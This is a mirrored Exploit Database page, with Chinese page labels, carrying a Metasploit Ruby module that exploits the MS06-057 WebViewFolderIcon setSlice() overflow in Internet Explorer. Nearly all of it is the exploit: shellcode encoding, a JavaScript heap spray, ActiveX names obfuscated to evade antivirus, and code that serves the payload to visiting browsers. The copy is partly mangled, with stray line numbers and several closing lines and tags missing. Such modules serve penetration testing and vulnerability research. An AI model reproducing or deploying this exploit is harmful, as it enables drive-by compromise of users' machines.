Microsoft Internet Explorer – WebViewFolderIcon setSlice() Overflow (MS06-057) (Metasploit) (2)

Exploit Database
104 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16564/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

# $Id: ms06_057_webview_setslice.rb 9669 2010-07-03 03:13:45Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',

'Description'=> %q{

This module exploits a flaw in the WebViewFolderIcon ActiveX control

included with Windows 2000, Windows XP, and Windows 2003. This flaw was published

during the Month of Browser Bugs project (MoBB #18).

'License'=> MSF_LICENSE,

'Author' =>

[

'hdm',

'Version'=> '$Revision: 9669 $',

'References' =>

[

[ 'CVE', '2006-3730'],

[ 'OSVDB', '27110' ],

[ 'MSB', 'MS06-057'],

[ 'BID', '19030' ],

[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'Platform' => 'win',

'Targets'=>

[

['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jul 17 2006'))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Get a unicode friendly version of the return address

addr_word= [target.ret].pack('V').unpack('H*')[0][0,4]

# Randomize the javascript variable names

var_buffer= rand_text_alpha(rand(30)+2)

var_shellcode = rand_text_alpha(rand(30)+2)

var_unescape= rand_text_alpha(rand(30)+2)

var_x = rand_text_alpha(rand(30)+2)

var_i = rand_text_alpha(rand(30)+2)

var_tic = rand_text_alpha(rand(30)+2)

var_toc = rand_text_alpha(rand(30)+2)

# Annoying AVs

var_aname = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0]

var_ameth = "=U2Ypx2U0V2c".reverse.unpack("m*")[0]

# Randomize HTML data

html= rand_text_alpha(rand(30)+2)

# Build out the message

content = %Q|

<html>

<head>

try {

var #{var_unescape}= unescape ;

var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;

while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;

var #{var_x} = new Array() ;

for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {

#{var_x}[ #{var_i} ] =

#{var_buffer}.substring( 0 ,0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;

}

for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {

var #{var_tic} = new ActiveXObject( '#{var_aname}' );

try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }

var #{var_toc} = new ActiveXObject( '#{var_aname}' );

}

} catch( e ) { window.location = 'about:blank' ; }

</script>

</head>

<body>

#{html}

</body>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end